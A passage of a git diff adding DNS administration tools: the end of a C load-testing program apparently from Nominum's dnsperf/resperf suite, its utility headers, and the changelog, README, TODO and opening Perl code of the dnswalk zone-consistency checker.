stringify(DEFAULT_LOCAL_PORT, 0), &local_port); + perf_opt_add('d', perf_opt_string, "datafile", + "the input data file", "stdin", &filename); + perf_opt_add('t', perf_opt_timeval, "timeout", + "the timeout for query completion in seconds", + stringify(DEFAULT_TIMEOUT, 0), &query_timeout); + perf_opt_add('b', perf_opt_uint, "buffer_size", + "socket send/receive buffer size in kilobytes", NULL, + &bufsize); + perf_opt_add('e', perf_opt_boolean, NULL, + "enable EDNS 0", NULL, &edns); + perf_opt_add('D', perf_opt_boolean, NULL, + "set the DNSSEC OK bit (implies EDNS)", NULL, &dnssec); + perf_opt_add('y', perf_opt_string, "[alg:]name:secret", + "the TSIG algorithm, name and secret", NULL, + &tsigkey_str); + perf_opt_add('i', perf_opt_timeval, "plot_interval", + "the time interval between plot data points, in seconds", + stringify(DEFAULT_BUCKET_INTERVAL, 1), &bucket_interval); + perf_opt_add('m', perf_opt_double, "max_qps", + "the maximum number of queries per second", + stringify(max_qps, 0), &max_qps); + perf_opt_add('P', perf_opt_string, "plotfile", + "the name of the plot data file", plotfile, &plotfile); + perf_opt_add('r', perf_opt_timeval, "ramp_time", + "the ramp-up time in seconds", + stringify(DEFAULT_RAMP_TIME, 0), &ramp_time); + perf_opt_add('c', perf_opt_timeval, "constant_traffic_time", + "how long to send constant traffic, in seconds", + stringify(DEFAULT_SUSTAIN_TIME, 0), &sustain_time); + perf_opt_add('L', perf_opt_double, "max_query_loss", + "the maximum acceptable query loss, in percent", + stringify(max_loss_percent, 0), &max_loss_percent); + + perf_opt_parse(argc, argv); + + if (family != NULL) + sock_family = perf_net_parsefamily(family); + perf_net_parseserver(sock_family, server_name, server_port, + &server_addr); + perf_net_parselocal(isc_sockaddr_pf(&server_addr), + local_name, local_port, &local_addr); + + input = perf_datafile_open(mctx, filename); + + if (dnssec) + edns = ISC_TRUE; + + if (tsigkey_str != NULL) + tsigkey = perf_dns_parsetsigkey(tsigkey_str, mctx); + + query_socket = perf_net_opensocket(&server_addr, &local_addr, 0, + bufsize); +} + +static void +cleanup(void) +{ + perf_datafile_close(&input); + (void) close(query_socket); +} + +/* Find the ramp_bucket for queries sent at time "when" */ + +static ramp_bucket * +find_bucket(isc_uint64_t when) { + isc_uint64_t sent_at = when - time_of_program_start; + int i = (int) ((n_buckets * sent_at) / traffic_time); + /* + * Guard against array bounds violations due to roundoff + * errors or scheduling jitter + */ + if (i < 0) + i = 0; + if (i > n_buckets - 1) + i = n_buckets - 1; + return &buckets[i]; +} + +/* + * print_statistics: + * Print out statistics based on the results of the test + */ +static void +print_statistics(void) { + int i; + double max_throughput; + double loss_at_max_throughput; + isc_uint64_t run_time = time_of_end_of_run - time_of_program_start; + + printf("\nStatistics:\n\n"); + + printf(" Queries sent: %u\n", num_queries_sent); + printf(" Queries completed: %u\n", + num_queries_sent - num_queries_outstanding); + printf(" Queries lost: %u\n", num_queries_outstanding); + printf(" Run time (s): %u.%06u\n", + (unsigned int)(run_time / MILLION), + (unsigned int)(run_time % MILLION)); + + /* Find the maximum throughput, subject to the -L option */ + max_throughput = 0.0; + loss_at_max_throughput = 0.0; + for (i = 0; i <= last_bucket_used; i++) { + ramp_bucket *b = &buckets[i]; + double responses_per_sec = + b->responses / (bucket_interval / (double) MILLION); + double loss = b->queries ? + (b->queries - b->responses) / (double) b->queries : 0.0; + double loss_percent = loss * 100.0; + if (loss_percent > max_loss_percent) + break; + if (responses_per_sec > max_throughput) { + max_throughput = responses_per_sec; + loss_at_max_throughput = loss_percent; + } + } + printf(" Maximum throughput: %.6lf qps\n", max_throughput); + printf(" Lost at that point: %.2f%%\n", loss_at_max_throughput); +} + +static ramp_bucket * +init_buckets(int n) { + ramp_bucket *p = malloc(n * sizeof(*p)); + int i; + if (p == NULL) + perf_log_fatal("out of memory"); + for (i = 0; i < n; i++) { + p[i].queries = p[i].responses = p[i].failures = 0; + p[i].latency_sum = 0.0; + } + return p; +} + +/* + * Send a query based on a line of input. + * Return ISC_R_NOMORE if we ran out of query IDs. + */ +static isc_result_t +do_one_line(isc_buffer_t *lines, isc_buffer_t *msg) { + query_info *q; + unsigned int qid; + isc_region_t used; + unsigned char *base; + unsigned int length; + isc_result_t result; + + isc_buffer_clear(lines); + result = perf_datafile_next(input, lines, ISC_FALSE); + if (result != ISC_R_SUCCESS) + perf_log_fatal("ran out of query data"); + isc_buffer_usedregion(lines, &used); + + q = ISC_LIST_HEAD(instanding_list); + if (! q) + return (ISC_R_NOMORE); + qid = q - queries; + + isc_buffer_clear(msg); + result = perf_dns_buildrequest(NULL, (isc_textregion_t *) &used, + qid, edns, dnssec, tsigkey, msg); + if (result != ISC_R_SUCCESS) + return (result); + + q->sent_timestamp = time_now; + + base = isc_buffer_base(msg); + length = isc_buffer_usedlength(msg); + if (sendto(query_socket, base, length, 0, + &server_addr.type.sa, + server_addr.length) < 1) + { + perf_log_warning("failed to send packet: %s", + strerror(errno)); + return (ISC_R_FAILURE); + } + + ISC_LIST_UNLINK(instanding_list, q, link); + ISC_LIST_PREPEND(outstanding_list, q, link); + q->list = &outstanding_list; + + num_queries_sent++; + num_queries_outstanding++; + + return ISC_R_SUCCESS; +} + +static void +enter_sustain_phase(void) { + phase = PHASE_SUSTAIN; + if (sustain_time != 0.0) + printf("[Status] Ramp-up done, sending constant traffic\n"); + sustain_phase_began = time_now; +} + +static void +enter_wait_phase(void) { + phase = PHASE_WAIT; + printf("[Status] Waiting for more responses\n"); + wait_phase_began = time_now; +} + +/* + * try_process_response: + * + * Receive from the given socket & process an individual response packet. + * Remove it from the list of open queries (status[]) and decrement the + * number of outstanding queries if it matches an open query. + */ +static void +try_process_response(int sockfd) { + unsigned char packet_buffer[MAX_EDNS_PACKET]; + isc_uint16_t *packet_header; + isc_uint16_t qid, rcode; + query_info *q; + double latency; + ramp_bucket *b; + int n; + + packet_header = (isc_uint16_t *) packet_buffer; + n = recvfrom(sockfd, packet_buffer, sizeof(packet_buffer), + 0, NULL, NULL); + if (n < 0) { + if (errno == EAGAIN || errno == EINTR) { + return; + } else { + perf_log_fatal("failed to receive packet: %s", + strerror(errno)); + } + } else if (n < 4) { + perf_log_warning("received short response"); + return; + } + + qid = ntohs(packet_header[0]); + rcode = ntohs(packet_header[1]) & 0xF; + + q = &queries[qid]; + if (q->list != &outstanding_list) { + perf_log_warning("received a response with an " + "unexpected id: %u", qid); + return; + } + + ISC_LIST_UNLINK(outstanding_list, q, link); + ISC_LIST_APPEND(instanding_list, q, link); + q->list = &instanding_list; + + num_queries_outstanding--; + + latency = (time_now - q->sent_timestamp) / (double)MILLION; + b = find_bucket(q->sent_timestamp); + b->responses++; + if (!(rcode == dns_rcode_noerror || rcode == dns_rcode_nxdomain)) + b->failures++; + b->latency_sum += latency; +} + +static void +retire_old_queries(void) +{ + query_info *q; + + while (ISC_TRUE) { + q = ISC_LIST_TAIL(outstanding_list); + if (q == NULL || + (time_now - q->sent_timestamp) < query_timeout) + break; + ISC_LIST_UNLINK(outstanding_list, q, link); + ISC_LIST_APPEND(instanding_list, q, link); + q->list = &instanding_list; + + num_queries_outstanding--; + num_queries_timed_out++; + } +} + +static inline int +num_scheduled(isc_uint64_t time_since_start) +{ + if (phase == PHASE_RAMP) { + return 0.5 * max_qps * + (double)time_since_start * time_since_start / + (ramp_time * MILLION); + } else { /* PHASE_SUSTAIN */ + return 0.5 * max_qps * (ramp_time / (double)MILLION) + + max_qps * + (time_since_start - ramp_time) / (double)MILLION; + } +} + +int +main(int argc, char **argv) { + int i; + FILE *plotf; + isc_buffer_t lines, msg; + char input_data[MAX_INPUT_DATA]; + unsigned char outpacket_buffer[MAX_EDNS_PACKET]; + unsigned int max_packet_size; + + printf("DNS Resolution Performance Testing Tool\n" + "Nominum Version " VERSION "\n\n"); + + setup(argc, argv); + + isc_buffer_init(&lines, input_data, sizeof(input_data)); + + max_packet_size = edns ? MAX_EDNS_PACKET : MAX_UDP_PACKET; + isc_buffer_init(&msg, outpacket_buffer, max_packet_size); + + traffic_time = ramp_time + sustain_time; + end_time = traffic_time + wait_time; + + n_buckets = (traffic_time + bucket_interval - 1) / bucket_interval; + buckets = init_buckets(n_buckets); + + time_now = get_time(); + time_of_program_start = time_now; + + printf("[Status] Command line: %s", isc_file_basename(argv[0])); + for (i = 1; i < argc; i++) { + printf(" %s", argv[i]); + } + printf("\n"); + + printf("[Status] Sending\n"); + + for (;;) { + int should_send; + isc_uint64_t time_since_start = time_now - + time_of_program_start; + switch (phase) { + case PHASE_RAMP: + if (time_since_start >= ramp_time) + enter_sustain_phase(); + break; + case PHASE_SUSTAIN: + if (time_since_start >= traffic_time) + enter_wait_phase(); + break; + case PHASE_WAIT: + if (time_since_start >= end_time) + goto end_loop; + break; + } + if (phase != PHASE_WAIT) { + should_send = num_scheduled(time_since_start) - + num_queries_sent; + if (should_send >= 1000) { + printf("[Status] Fell behind by %d queries, " + "ending test at %.0f qps\n", + should_send, + (max_qps * time_since_start) / + ramp_time); + enter_wait_phase(); + } + if (should_send > 0) { + isc_result_t result = do_one_line(&lines, &msg); + if (result == ISC_R_SUCCESS) + find_bucket(time_now)->queries++; + if (result == ISC_R_NOMORE) { + printf("[Status] Reached 65536 outstanding queries\n"); + enter_wait_phase(); + } + } + } + try_process_response(query_socket); + retire_old_queries(); + time_now = get_time(); + } + end_loop: + time_now = get_time(); + time_of_end_of_run = time_now; + + printf("[Status] Testing complete\n"); + + plotf = fopen(plotfile, "w"); + if (! plotf) { + perf_log_fatal("could not open %s: %s", plotfile, + strerror(errno)); + } + + /* Print column headers */ + fprintf(plotf, "# time target_qps actual_qps " + "responses_per_sec failures_per_sec " + "avg_latency\n"); + + /* Don't print unused buckets */ + last_bucket_used = find_bucket(wait_phase_began) - buckets; + + /* Don't print a partial bucket at the end */ + if (last_bucket_used > 0) + --last_bucket_used; + + for (i = 0; i <= last_bucket_used; i++) { + double t = (i + 0.5) * traffic_time / + (n_buckets * (double)MILLION); + double ramp_dtime = ramp_time / (double)MILLION; + double target_qps = + t <= ramp_dtime ? (t / ramp_dtime) * max_qps : max_qps; + double latency = buckets[i].responses ? + buckets[i].latency_sum / buckets[i].responses : 0; + double interval = bucket_interval / (double) MILLION; + fprintf(plotf, "%7.3f %8.2f %8.2f %8.2f %8.2f %8.6f\n", + t, + target_qps, + buckets[i].queries / interval, + buckets[i].responses / interval, + buckets[i].failures / interval, + latency); + } + + fclose(plotf); + print_statistics(); + cleanup(); + + return 0; +} diff --git a/dns-projects/dnsperf-src-2.0.0.0-1/util.h b/dns-projects/dnsperf-src-2.0.0.0-1/util.h new file mode 100644 index 0000000..0a77f63 --- /dev/null +++ b/dns-projects/dnsperf-src-2.0.0.0-1/util.h @@ -0,0 +1,122 @@ +/* + * Copyright (C) 2012 Nominum, Inc. + * + * Permission to use, copy, modify, and distribute this software and its + * documentation for any purpose with or without fee is hereby granted, + * provided that the above copyright notice and this permission notice + * appear in all copies. + * + * THE SOFTWARE IS PROVIDED "AS IS" AND NOMINUM DISCLAIMS ALL WARRANTIES + * WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF + * MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL NOMINUM BE LIABLE FOR + * ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES + * WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN + * ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT + * OF OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. + */ + +#include +#include + +#include + +#include + +#include "log.h" + +#ifndef PERF_UTIL_H +#define PERF_UTIL_H 1 + +#define MILLION ((isc_uint64_t) 1000000) + +#define THREAD(thread, start, arg) do { \ + int __n = pthread_create((thread), NULL, (start), (arg)); \ + if (__n != 0) \ + perf_log_fatal("pthread_create failed: %s", \ + strerror(__n)); \ + } while (0) + +#define JOIN(thread, valuep) do { \ + int __n = pthread_join((thread), (valuep)); \ + if (__n != 0) \ + perf_log_fatal("pthread_join failed: %s", \ + strerror(__n)); \ + } while (0) + +#define MUTEX_INIT(mutex) do { \ + int __n = pthread_mutex_init((mutex), NULL); \ + if (__n != 0) \ + perf_log_fatal("pthread_mutex_init failed: %s", \ + strerror(__n)); \ + } while (0) + +#define MUTEX_DESTROY(mutex) do { \ + int __n = pthread_mutex_destroy((mutex)); \ + if (__n != 0) \ + perf_log_fatal("pthread_mutex_destroy failed: %s", \ + strerror(__n)); \ + } while (0) + +#define LOCK(mutex) do { \ + int __n = pthread_mutex_lock((mutex)); \ + if (__n != 0) \ + perf_log_fatal("pthread_mutex_lock failed: %s", \ + strerror(__n)); \ + } while (0) + +#define UNLOCK(mutex) do { \ + int __n = pthread_mutex_unlock((mutex)); \ + if (__n != 0) \ + perf_log_fatal("pthread_mutex_unlock failed: %s", \ + strerror(__n)); \ + } while (0) + +#define COND_INIT(cond) do { \ + int __n = pthread_cond_init((cond), NULL); \ + if (__n != 0) \ + perf_log_fatal("pthread_cond_init failed: %s", \ + strerror(__n)); \ + } while (0) + +#define SIGNAL(cond) do { \ + int __n = pthread_cond_signal((cond)); \ + if (__n != 0) \ + perf_log_fatal("pthread_cond_signal failed: %s", \ + strerror(__n)); \ + } while (0) + +#define BROADCAST(cond) do { \ + int __n = pthread_cond_broadcast((cond)); \ + if (__n != 0) \ + perf_log_fatal("pthread_cond_broadcast failed: %s", \ + strerror(__n)); \ + } while (0) + +#define WAIT(cond, mutex) do { \ + int __n = pthread_cond_wait((cond), (mutex)); \ + if (__n != 0) \ + perf_log_fatal("pthread_cond_wait failed: %s", \ + strerror(__n)); \ + } while (0) + +#define TIMEDWAIT(cond, mutex, when, timedout) do { \ + int __n = pthread_cond_timedwait((cond), (mutex), (when)); \ + isc_boolean_t *res = (timedout); \ + if (__n != 0 && __n != ETIMEDOUT) \ + perf_log_fatal("pthread_cond_timedwait failed: %s", \ + strerror(__n)); \ + if (res != NULL) \ + *res = ISC_TF(__n != 0); \ + } while (0) + +static __inline__ isc_uint64_t +get_time(void) +{ + struct timeval tv; + gettimeofday(&tv, NULL); + return tv.tv_sec * MILLION + tv.tv_usec; +} + +#define SAFE_DIV(n, d) ( (d) == 0 ? 0 : (n) / (d) ) + +#endif diff --git a/dns-projects/dnsperf-src-2.0.0.0-1/version.h b/dns-projects/dnsperf-src-2.0.0.0-1/version.h new file mode 100644 index 0000000..da44178 --- /dev/null +++ b/dns-projects/dnsperf-src-2.0.0.0-1/version.h @@ -0,0 +1,5 @@ +#ifndef VERSION_H + +#define VERSION "2.0.0.0" + +#endif diff --git a/dns-projects/dnswalk/CHANGES b/dns-projects/dnswalk/CHANGES new file mode 100644 index 0000000..41b9f19 --- /dev/null +++ b/dns-projects/dnswalk/CHANGES @@ -0,0 +1,164 @@ +$Id: CHANGES,v 1.11 1997/10/06 13:27:37 barr Exp barr $ + +Version 2.0.2 + +Silly bug in output, SOA= was listing the domain, not the master. +Reported by Jeff Miller . + +dnswalk now checks to see that target of MX, CNAME and NS are a hostname, +not an IP addr. + +Version 2.0.1 + +Regexp bug in 'makereports' script. (chopped off last charcter of +contact address). + +Version 2.0.0 (beta) + +Ported to Net::DNS. Now no longer relies on 'dig'. Some less-used +error messages removed, such as the 'double domain' check. + +dnswalk now no longer saves zone transferrs to local files, due to +the fact that dnswalk no longer uses 'dig'. The zone transfer itself +doesn't take that long -- mostly it's CPU time churning on what comes +in. I may add it back if there's enough demand (using the "Storage" +perl package, like what is used by the Net::DNS package's examples) + +Added 'WARN', 'FAIL', and 'BAD' prefixes to error messages, to indicate +some level of 'badness' associated with a particular message. Makes +machine parsing easier, as well as human interpreting. ('FAIL' +was called 'ERROR' before beta release). + +dnswalk now exits with a return code equal to the number of 'BAD' things +found. (from an request by Dave Crocker) + +dnswalk (with -F fascist checking) no longer gives A record warnings +with hosts like "neptune" and "neptune-le0" (it treats them as the +same host). Formerly it would warn that A record for neptune-le0 +"points to" neptune. (this is a common situation with multi-homed +hosts, where A records pointing just to individual interfaces are used). +Anything "host-something" is treated the same as "host". (request +from David Nelson ) + +perform some rudimentary checks on SOA contact field. (99% of +the time the error is someone forgetting you have to replace the +"@" sign in the email address with a ".".) + +Reformatted the code to be a bit more readable. + +Version 1.8.3 +Miscellaneous fixes, getautservers(). Condensed code. + +Hack added to ignore RFC 1101 netmasks encoding. + +Assigning $1 wasn't working, use local variable. Patch from Mark +Andrews . + +New Perl script "makereports" included to take output and generate +reports for each hostmaster for the problems within his/her zone. + +Suggestion by marka@syd.dms.CSIRO.AU (Mark Andrews) to only +check for invalid characters on A or MX records. I could probably +do two-level checking, one for 1033 compliance on all records +and 1035 compliance on mail-able names (A and MX). However +this is a reasonable compromise for now. + +Version 1.8.2 +Fixed spelling errors and shoddy syntax in getauthservers(), from +Jost Krieger + +Accounted for Solaris's broken gethostbyname() which includes trailing +dots in retuned name. + +Minor fixes in lame delegation checking, and getauthservers(). + +Version 1.8.1 +One-line fix to remove reference to non-existent parameter to getmaster(). +Reported by petri@ibr.cs.tu-bs.de (Stefan Petri). + +Version 1.8 +Typos, documentation corrections, additions to TIPS as well as +stuff for TODO from Piete Brooks . + +Patch from Thorsten Lockert : remove directory +if zone transfer fails. + +Fixed getauthservers() routine. Sometimes had list of servers +which contained each server listed twice. Also fixed it to +use the 'master server' field of the SOA record as a 'hint' +to which server to check first. + +Fixed typo in dot-death checking. Error message forgot \n. + +Added -D flag to set base directory for saved axfr files. + +Version 1.7 +Added "_" to list of invalid characters in a hostname. (Painful +because we have hundreds of PCs and Macs here with one.) Can +now be supressed with '-i' option (whew). + +Fixed wildcard RR's being marked as having invalid characters. +(Thanks to Paul Turner for reporting it) + +Changed how the return codes for gethostby*() routines were being +checked. Added caveat in README about herror(). Thanks to Bill Fenner + +Suppresses duplicate error message per zone. Idea from Paul Turner. + +Checks for dom.ain.dom.ain. in data, in case someone forgot the +trailing '.'. + +Finally added a man page. Trimmed out redundant information +from the README file. + +Version 1.6 +removed -c switch, since I thought it would work a long time ago, but +later found out it could never be made to work. Well, it could, just +not very nicely. (nor efficiently) + +Fixed bug with parsing of dig output. Newer dig has slightly different +output, causing serial numbers to not be pulled out. + +Changed the do-dnswalk script to use exec > logfile instead of +redirecting every invocation to a logfile. Idea from Dan Ehrlich. + +Fixed problem with dnswalk using old list of subdomains in axfr file, +ignoring the new zone transfer if it was needed. + +Accounted for annoying behavior of new dig to print duplicate SOA's. + +Documented nameserver error reporting. + +Version 1.5 + +added -F switch. This performs "fascist" checking. For every A record, +it checks to see that it actually points to the canonical name listed +for the PTR and reports mismatches. Try this switch at least once to see +what kind of things pop up. (You may be surprised) + +added -m switch. Performs check on zone only if it has been modified +(serial number changed) since the previous run. + +changed format of messages to be shorter and more precise. (and hopefully +easier to read) Read the README section for a full description. + +warns if a zone has only one authoratative nameserver +*** in later versions of 1.3, not posted here, but available for ftp, +there was a bad bug which caused erroneous warnings about having only +one nameserver. (was using the wrong variable) + +reports any errors listed in dig zone transfer output. (usually +caused by a corrupted zone file, or invalid syntax in data; for example +only one field in an HINFO record.) + +now reports any resolver errors from gethostbyname and gethostbyaddr. +(for example, a server timeout, connection refused, etc) + +sorts output by zone (correctly -- some versions of 1.3 didn't quite do +this right) + +displays server of authority and zone contact for each zone it checks. + +I've now included a 'do-dnswalk' script that is an example wrapper +that I use around dnswalk to turn on status debugging and put the +results in a log file. Salt to taste. diff --git a/dns-projects/dnswalk/README b/dns-projects/dnswalk/README new file mode 100644 index 0000000..6d1baf9 --- /dev/null +++ b/dns-projects/dnswalk/README @@ -0,0 +1,95 @@ + dnswalk 2.0 - August 4, 1997 + +Author: David Barr +$Id: README,v 1.6 1997/08/04 19:09:34 barr Exp barr $ + +INTRO + +dnswalk is a DNS debugger. It performs zone transfers of specified +domains, and checks the database in numerous ways for internal +consistency, as well as accuracy. + +dnswalk requires perl and the Net::DNS Perl package. If you do not have +these, get them. (perl is assumed to be in /usr/local/bin, edit the first +line of dnswalk if it is not) + +They can be found by at: +http://www.perl.com/perl/ + +dnswalk used to require 'dig' (part of the BIND distribution). However, +different versions of dig gave output which was ever so slightly different, +causing dnswalk to break. (This is usually easy to fix, even in a +backward-compatible fashion, but it was annoying nonetheless) Also, +using an external program made error checking more difficult and not +very reliable. Since error checking is the heart of what dnswalk is about, +this wasn't good. I finally got off my duff and ported dnswalk to Michael +Fuhr's Net::DNS package, something I've been wanting to do for a while. +(actually another reason I waited so long was the Net::DNS package wasn't +complete enough initially for for a complete port.) + + + dnswalk is not for the faint of heart. It should NOT be used +without a firm knowledge of the DNS RFC's. The warnings and errors +must be interpreted within the context they are being used. Something +may be flagged as a warning, but in reality it is a really bad error. +Conversely dnswalk will flag things as warnings and possibly even +errors, but they may actually be perfectly "legal" or normal in your +specific situation. dnswalk is not an AI engine. It just provides +useful information which you need to interpret. If you use this tool +for cracking or otherwise evil purposes, the author hereby considers +you a slime-ball. See the end of this README file for a list of good +reading material. + + dnswalk is not a replacement for doc, although dnswalk is starting +to incorporate some of the things doc checks for. dnswalk was written to +check individual database entries, while 'doc' ensures that the overall +database structure and authority records are consistent. dnswalk may +not even function correctly (or find real problems) if authority records +are missing or incorrect. + + This program may be freely distributed, as long as this notice +and documentation are distributed with the program. This program is +released as-is, with no warranty expressed or implied. Some assembly +required, contents may settle during shipment. This program can be +found at + +http://www.cis.ohio-state.edu/~barr/dnswalk/ + + dnswalk tends to produce lots of output, so I'd suggest +redirecting this into a file of your choice. I debated using doc's +strategy of automatically putting it in a logfile, but decided not +to. (The author reserves the right to change his mind) For small, +mostly-correct domains it is pretty manageable, however. For larger +domains, use the included 'do-dnswalk' script as a guide. + +Please refer to the man page on what dnswalk checks for, and +the format of the output. + +*** NOTICE *** + I fully realize that while some of the rules are not in +violation of an RFC, it might be wise to reconsider their usage +anyway. dnswalk was written to be a tool to let the hostmaster decide +what are troublesome areas, not as a program that has all the answers. +*** NOTICE *** + +This program was originally tested with data from the psu.edu domain. +If your site does things differently than the way we do things, then you +may see it report things as errors, when in fact they are "okay". +If you notice something not being reported, or something reported that +is not an error, please send me output! I fully admit that I'm not +an expert in DNS and the requirements. My rules tend to be skewed to +my personal feelings about what "nice" DNS databases look like. Others +are free to differ. (and tell me so) + +Author: +David Barr +Lead System Administrator +The Ohio State University, Department of Computer and Information Science + +Thanks: + +Bill Fenner - tips with perl +Michael Fuhr - for writing Net::DNS! +Dave Crocker - for providing the spark necessary for me to pick up +developement of dnswalk-2.0 again. + diff --git a/dns-projects/dnswalk/TODO b/dns-projects/dnswalk/TODO new file mode 100644 index 0000000..6ca7aaf --- /dev/null +++ b/dns-projects/dnswalk/TODO @@ -0,0 +1,18 @@ +replace remaining gethostby*() calls with Net::DNS calls. (better +error reporting) + +compare serial number of zone transfer data and report differences + +Check RP records that they point to a TXT record. + +Check for CNAME and other data. (modern BIND versions disallow this, +but not everyone sadly is up to date) + +Check parent delegation (a la doc) and check for lame delegations. +Compare serial numbers of all NS servers and report differences. +(a la doc) + +./dnswalk non-existant.domain doesn't generate a very useful message + +complete RFC 1101 check.. A records in rev file + diff --git a/dns-projects/dnswalk/dnswalk b/dns-projects/dnswalk/dnswalk new file mode 100755 index 0000000..356867f --- /dev/null +++ b/dns-projects/dnswalk/dnswalk @@ -0,0 +1,414 @@ +#!/usr/contrib/bin/perl +# +# dnswalk Walk through a DNS tree, pulling out zone data and +# dumping it in a directory tree +# +# $Id: dnswalk,v 1.18 1997/10/06 13:23:58 barr Exp barr $ +# +# check data collected for legality using standard resolver +# +# invoke as dnswalk domain > logfile +# Options: +# -r Recursively descend subdomains of domain +# -i Suppress check for invalid characters in a domain name. +# -a turn on warning of duplicate A records. +# -d Debugging +# -m Check only if the domain has been modified. (Useful only if +# dnswalk has been run previously.) +# -F Enable "facist" checking. (See man page) +# -l Check lame delegations + +use Getopt::Std; +use IO::Socket; +use Net::DNS; + +getopts("D:rfiadmFl"); + +$num_error{'FAIL'}=0; # failures to access data +$num_error{'WARN'}=0; # questionable data +$num_error{'BAD'}=0; # bad data + +# Where all zone transfer information is saved. You can change this to +# something like /tmp/dnswalk if you don't want to clutter up the current +# directory +if ($opt_D) { + $basedir = $opt_D; +} else { + $basedir = "."; +} +($domain = $ARGV[0]) =~ tr/A-Z/a-z/; +if ($domain !~ /\.$/) { + die "Usage: dnswalk domain\ndomain MUST end with a '.'\n"; +} +if (! -d $basedir) { + mkdir($basedir,0777) || die "FAIL: Cannot create $basedir: $!\n"; +} + +&dowalk($domain); +print STDERR "$num_error{'FAIL'} failures, $num_error{'WARN'} warnings, $num_error{'BAD'} errors.\n"; +exit $num_error{'BAD'}; + +sub dowalk { + my (@subdoms); + my (@sortdoms); + my ($domain)=$_[0]; + $modified=0; + return unless $domain; + print "Checking $domain\n"; + @subdoms=&doaxfr($domain); + &check_zone($domain) if (defined(@zone) && @zone); + undef @zone; + return if (!(defined(@subdoms) && @subdoms)); + @sortdoms = sort byhostname @subdoms; + local ($subdom); + if ($opt_r) { + foreach $subdom (@sortdoms) { + &dowalk($subdom); + } + } +} +# try to get a zone transfer, trying each listed authoritative server if +# if fails. +sub doaxfr { + local ($domain)=@_[0]; + local (%subdoms)=(); + local ($subdom); + local(@servers) = &getauthservers($domain); + &printerr("BAD", "$domain has only one authoritative nameserver\n") + if (scalar(@servers) == 1); + &printerr("BAD", "$domain has NO authoritative nameservers!\n") + if (scalar(@servers) == 0); + SERVER: + foreach $server (@servers) { + print STDERR "Getting zone transfer of $domain from $server..."; + my $res = new Net::DNS::Resolver; + $res->nameservers($server); + @zone=$res->axfr($domain); + unless (defined(@zone) && @zone) { + print STDERR "failed\n"; + &printerr("FAIL", + "Zone transfer of $domain from $server failed: ". + $res->errorstring. "\n"); + next SERVER; + } + @subdoms=undef; + foreach $rr (@zone) { + if ($rr->type eq "NS") { + $subdom = $rr->name; + $subdom =~ tr/A-Z/a-z/; + if ((!&equal($subdom,$domain)) && ( !$subdoms{$subdom})) { + $subdoms{$subdom}=1; + } + } + } + print STDERR "done.\n"; + last SERVER; + } # foreach # + unless (defined(@zone) && @zone) { + &printerr("BAD","All zone transfer attempts of $domain failed!\n"); + return undef; + } + return (keys %subdoms); +} + +sub getauthservers { + my ($domain)=$_[0]; + my ($master)=&getmaster($domain); + my ($foundmaster)=0; + my ($ns); + my ($ns_tmp); + my ($res); + my ($ns_req); + my (@servers); + my (%servhash); + return if (!$master); # this is null if there is no SOA or not found + return if (!$domain); + $res = new Net::DNS::Resolver; + $ns_req = $res->query($domain, "NS"); + &printerr("FAIL", "No nameservers found for $domain: ". + $res->errorstring ."\n") + unless (defined($ns_req) and ($ns_req->header->ancount > 0)); + foreach $ns ($ns_req->answer) { + $ns_tmp = $ns->nsdname; + $ns_tmp =~ tr/A-Z/a-z/; + if (&equal($ns_tmp,$master)) { + $foundmaster=1; # make sure the master is at the top + } else { + push(@servers,$ns_tmp) if ($servhash{$ns_tmp}++<1); + } + } + if ($foundmaster) { + unshift(@servers,$master); + } + return @servers; +} + +# return 'master' server for zone +sub getmaster { + my ($zone)=$_[0]; + my ($res) = new Net::DNS::Resolver; + my ($packet) = new Net::DNS::Packet($zone, "SOA", "IN"); + my ($soa_req) = $res->send($packet); + unless (defined($soa_req)) { + &printerr("FAIL", "Cannot get SOA record for $zone:". + $res->errorstring ."\n"); + return ""; + } + unless (($soa_req->header->ancount >= 1) && + (($soa_req->answer)[0]->type eq "SOA")) { + &printerr("BAD", "SOA record not found for $zone\n"); + return ""; + } + return ($soa_req->answer)[0]->mname; +} + +# open result of zone tranfer and check lots of nasty things +# here's where the fun begins +sub check_zone { + my ($domain)=$_[0]; + local (%glues)=(); # look for duplicate glue (A) records + local ($name, $aliases, $addrtype, $length, @addrs); + local ($prio,$mx); + local ($soa,$contact); + local ($lastns); # last NS record we saw + local (@keys); # temp variable + foreach $rr (@zone) { + # complain about invalid chars only for mail names + if ((($rr->type eq "A") || ($rr->type eq "MX")) && (!$opt_i) && + ($rr->name =~ /[^\*][^-A-Za-z0-9.]/)) { + &printerr("WARN", $rr->name .": invalid character(s) in name\n"); + } + if ($rr->type eq "SOA") { + print STDERR 's' if $opt_d; + print "SOA=". $rr->mname ." contact=". $rr->rname ."\n"; + # basic address check. No "@", and user.dom.ain (two or more dots) + if (($rr->rname =~ /@/)||!($rr->rname =~ /\..*\./)) { + &printerr("WARN", "SOA contact name (". + $rr->rname .") is invalid\n"); + } + } elsif ($rr->type eq "PTR") { + print STDERR 'p' if $opt_d; + if (scalar((@keys=split(/\./,$rr->name))) == 6 ) { + # check if forward name exists, but only if reverse is + # a full IP addr + # skip ".0" networks + if ($keys[0] ne "0") { + ($name, $aliases, $addrtype, $length, + @addrs)=gethostbyname($rr->ptrdname); +# if (!(($name, $aliases, $addrtype, $length, +# @addrs)=gethostbyname($rr->ptrdname))) { +# &printerr("FAIL", "gethostbyname(". +# $rr->ptrdname ."): $!\n"); +# } +# else { + if (!$name) { + &printerr("WARN", $rr->name + ." PTR ". $rr->ptrdname .": unknown host\n"); + } + elsif (!&equal($name,$rr->ptrdname)) { + &printerr("WARN", $rr->name + ." PTR ". $rr->ptrdname .": CNAME (to $name)\n"); + } + elsif (!&matchaddrlist($rr->name)) { + &printerr("WARN", $rr->name + ." PTR ". $rr->ptrdname .": A record not found\n"); + } +# } + } + } + } elsif (($rr->type eq "A") ) { + print STDERR 'a' if $opt_d; + # check to see that a reverse PTR record exists + ($name,$aliases,$addrtype,$length,@addrs)=gethostbyaddr(pack('C4', + split(/\./,$rr->address)),2); + if (!$name) { + # hack - allow RFC 1101 netmasks encoding + if ($rr->address !=~ /^255/) { + &printerr("WARN", $rr->name ." A ". + $rr->address .": no 